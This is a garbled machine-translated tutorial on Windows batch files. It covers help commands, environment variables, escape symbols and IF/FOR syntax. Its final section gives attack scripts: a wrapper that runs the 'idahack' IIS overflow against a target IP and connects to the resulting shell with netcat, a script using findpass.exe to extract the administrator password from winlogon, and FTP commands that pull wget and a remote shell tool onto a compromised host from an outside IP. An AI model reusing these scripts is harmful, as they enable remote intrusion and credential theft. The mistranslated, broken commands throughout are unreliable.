Batch BAT strengthens
Article structure
1. Help information for all built-in commands
2. Concept of environment variable
3. Built-in special symbols (pay attention to avoidance in the middle)
4. Simple Batch File Concept
5. Attachment 1 TMP.TXT
6. Attachment 2 Sample.bat
######################################################################################################################################################################################################################################################################################################## ####################
1. Help information for all built-in commands
######################################################################################################################################################################################################################################################################################################## ####################
Ver
CMD /?
SET /?
REM /?
IF /?
echo /?
GOTO /?
FOR /?
SHIFT /?
Call /?
Other common commands required
TYPE /?
Find /?
Findstr /?
COPY /?
___________________________________________________________
The following will output all the help to a file
Echo Ver> tmp.txt
Ver >> TMP.txt
Echo cmd /? >> TMP.TXT
CMD /? >> TMP.TXT
echo rad /? >> TMP.TXT
REM /? >> TMP.TXT
Echo IF /? >> TMP.TXT
IF /? >> TMP.TXT
echo goto /? >> TMP.TXT
GOTO /? >> TMP.TXT
echo for /? >> TMP.TXT
FOR /? >> TMP.TXT
echo shift /? >> TMP.TXT
SHIFT /? >> TMP.TXT
echo call /? >> TMP.TXT
Call /? >> TMP.TXT
echo type /? >> TMP.TXT
Type /? >> TMP.TXT
Echo Find /? >> TMP.TXT
Find /? >> TMP.TXT
Echo Findstr /? >> TMP.TXT
FINDSTR /? >> TMP.TXT
echo copy /? >> TMP.TXT
COPY /? >> TMP.TXT
TYPE TMP.TXT
___________________________________________________
######################################################################################################################################################################################################################################################################################################## ####################
2. Concept of environment variable
######################################################################################################################################################################################################################################################################################################## ####################
____________________________________________________________
C: / program files> set
Allusersprofile = C: / Documents and Settings / All Users
CommonProgramFiles = C: / Program Files / Common Files
Computername = first
COMSPEC = C: /Winnt/System32/cmd.exe
Number_of_processors = 1
OS = Windows_NT
Os2LibPath = C: / WinNT / System32 / OS2 / DLL;
PATH = C: / WinNT / System32; C: /Winnt/System32/wbempathext =.com; .exe; .bat; .cmd; .vbs; .vbe; .js; .jse;. Wsf; .Wsh
Processor_architecture = x86
Processor_identifier = x86 family 6 model 6 Stepping 5, Genuineintel
Processor_level = 6
Processor_revision = 0605
Programfiles = C: / Program Files
Prompt = $ P $ g
SystemDrive = C:
SystemRoot = C: / Winnt
Temp = C: / WinNT / TEMP
TMP = C: / WinNT / TEMP
UserProfile = C: / Documents and Settings / Default User
WINDIR = C: / WinNT
____________________________________________________________
PATH: Represents the search path of the executable program. My suggestion is that you put your program Copy to
% windir% / system32 /. This directory is usually automatically searched.
Syntax: Copy mychenxu.exe% window / system32 /.
Use the point (.) To make a look at it.
Quote for environmental variables (English mode, half angle) double quotes
% WINDIR% variable
%% WINDIR %% quadratic variable reference.
We are commonly used
% Temp% Temporary Directory
% WINDIR% system catalog
% Errorlevel% exits the code
Output files into the temporary file directory. This makes it easy to clean up the current directory.
Parameters with spaces. You should learn to use double quotes ("") to indicate, for example, for the PORGRAM FILE folder
C: /> DIR P *
C: / directory
2000-09-02 11:47 2,164 pdos.def
1999-01-03 00:47
1 file 2,164 bytes
1 directory 1,505,997,824 available bytes
C: /> cd pro *
C: / program files>
C: />
C: /> CD "program files"
C: / program files>
######################################################################################################################################################################################################################################################################################################## ####################
3. Built-in special symbols (pay attention to avoidance in the middle)
######################################################################################################################################################################################################################################################################################################## ####################
Microsoft has built-in characters that cannot be used in the middle of the created file name
Con Nul aux / / │ ││ && ^> <*
You can use most characters as variable values, including white space. If you use the special characters <,>, │, &, or ^, you must precede them with the escape character (^) or quotation marks. If you use quotation marks The value becauses everying following the equal sign is taken as the value. Consider the folload example :( 大意: either you use ^ as the leader characters. Or only use double quotes "" "
To create the variable value new & name, Type:
Set varname = new ^ & name
To create the variable value "new & name", TYPE:
Set varname = "new & name"
THE AMPERSAND (│), AND PARENTHESES () Are Special Characters That Must Be Preceded by The Escape CHARACTER (^) Or Quotation Marks When You Pass The as arguments.
Find "pacific rim"
IF EXIST FileName. (DEL FileName) Else Echo FileName. Missing
> Create a file
>> Adding to a file
@ Prefix character. When the execution is executed, the Bank does not display in the CMD, you can use the Echo OFF to close the display.
^ Special symbol (> <&) leader. The first only shows the AAA second output file BBB
Echo 123456 ^> AAA
Echo 1231231> BBB
() Contains commands
(echo aa & echo bb)
, The same default separation symbol as spaces.
; Note, indicating that the following is comment
: Label role
│ Pipeline operation
& Usage: The first command & second command [& Article 3 Commands ...]
Use this method to perform multiple commands at the same time, regardless of whether or not the command is successful
DIR C: / *. EXE & DIR D: / *. EXE & DIR E: / *. EXE
&& usage: The first command && second order [&& Article 3 Commands ...]
When you encounter an error, you will not perform the back command, if there is no error, you have been executed all commands;
││ USAGE: 1 Command ││ 2 Commands [││ Article 3 Commands ...]
When you touch the correct command, you will not execute the back command. If you don't have the correct command, you have been executed all commands;
Common grammar format
IF [NOT] Errorlevel Number Command Para1 Para2
IF [not] string1 == String2 Command Para1 Para2
IF [NOT] EXIST FileName Command Para1 Para2
IF EXIST FileName Command Para1 Para2
IF not exist filename command para1 para2if "% 1" == "" goto end
IF "% 1" == "net" goto net
IF not "% 2" == "net" goto Other
IF Errorlevel 1 Command Para1 Para2
IF not Errorlevel 1 Command Para1 Para2
FOR / L %% I in (Start, Step, End) Do Command [Command-Parameters] %% i
FOR / F "eol =; tokens = 2, 3 * delims =,"% I in (myfile.txt) do Echo% I% J% K
Take the parameters in order according to the alphabetical order IJKLMnOPQ.
EOL = C - Refers to the end of a row bet release character (one)
Skip = n - refers to the number of rows ignored at the beginning of the file.
Delims = xxx - Indicator jacket set. This default separator set replaces the space and the jumping.
######################################################################################################################################################################################################################################################################################################## ####################
4. Simple Batch File Concept
######################################################################################################################################################################################################################################################################################################## ####################
Echo this is test> a.txt
TYPE A.TXT
Echo this is test 11111 >> a.txt
TYPE A.TXT
Echo this is test 22222> a.txt
TYPE A.TXT
The second ECHO is appended
The third Echo will empty a.txt recreate A.TXT
Netstat -n │ Find "3389"
This will list the IP of all users connected 3389.
_______________ test.bat ________________________________________
@echo please
Echo Plese Care 1111
Echo Plese Care 2222
Echo Plese Care 3333
@echo please
@echo place Care 1111
@echo place Care 2222
@echo place be 3333
REM does not display a comment statement, the Bank is displayed
@REM does not display a comment statement, the Bank does not display
@IF EXIST% Windir% / System32 / Find.exe (Echo Find Find.exe !!!) Else (Echo Error: NOT FIND FIND.EX)
@IF EXIST% Windir% / System32 / Fina.exe (Echo Find Fina.exe !!!) Else (Echo Error: Not FINA.EXE)
____________________________________________________________________
Below we use a specific iDahack program is an IDA remote overflow as an example. It should be very simple.
_____________________________________________________________
@Rem Ver 1.0
@if not exist% window.exe echo "error: dont find idahack.exe" @if NOT% WINDIR% / system32 / nc.exe echo "error: dont find nc.exe"
@IF "% 1" == "" GOTO USAGE
@if not "% 2" == "" GOTO SP2
Tart
@echo now start ...
@PING% 1
@echo chinese win2k: 1 SP1: 2 SP2: 3
Idahack.exe% 1 80 1 99>% TEMP% / _ TMP
@echo "PROG EXIT code" iDahack.exe "
@Type% Temp% / _ TMP
@Find "Good Luck"% TEMP% / _ TMP
@echo "PROG EXIT code" Find [Goog Luck] "
@if Not Errorlevel 1 nc.exe% 1 99
@goto end
P2
@ iDahack.exe% 1 80% 2 99% TEMP% / _ TMP
@Type% Temp% / _ TMP
@Find "Good Luck"% TEMP% / _ TMP
@if Not Errorlevel 1 nc.exe% 1 99
@goto end
: USAGE
@echo example: ida.bat ip
@echo example: ida.bat ip (2,3)
: END: END
_________________________________________________
Let's take a second file below. It is a password for administrator.
Most people can't say it. In fact, I have no correct information.
_______________________________________________________________
@Rem Ver 1.0
@IF not exist% Windir% / System32 / Findpass.exe echo "error: dont find findpass.exe"
@IF not exist% Windir% / System32 / Pulist.exe Echo "Error: DONT FIND PULIST.EXE"
@echo start ....
@echo __________________________________
@IF "% 1" == "" GOTO USAGE
@ FindPass.exe% 1% 2% 3 >>% TEMP% / _Findpass.txt
@echo "prog exit code" Findpass.exe "
@Type% Temp% / _Findpass.txt
@echo __________________________________pass ★★★★★★★★
@ipconfig / all >>% TEMP% / _ Findpass.txt
@goto end
: USAGE
@ Pulist.exe>% Temp% / _ pass.txt@findstr.exe / i "Winlogon Explorer INTERNAT"% TEMP% / _ Pass.txt
@echo "EXAMPLE: FPass.bat% 1% 2% 3% 4 !!!"
@echo "Usage: Findpass.exe DomainName UserName Pid-of-Winlogon"
: END: END
@echo "fpass.bat% computername% Username% administrator"
@echo "fpass.bat end"! "
_______________________________________________________________________________
Another one is that I have already logged in a remote host through Telnet. How to upload a document (win)
Enter the following things in turn. Of course, you can copy .ctrl V in the past. Then wait !!
Echo open 210.64.x.4 3396> w
Echo Read >> W
Echo Read >> W
Echo CD WINNT >> W
Echo binary >> W
Echo PWD >> W
Echo get wget.exe >> W
Echo get winshell.exe >> W
echo get any.exe >> W
Echo quit >> W
ftp -s: w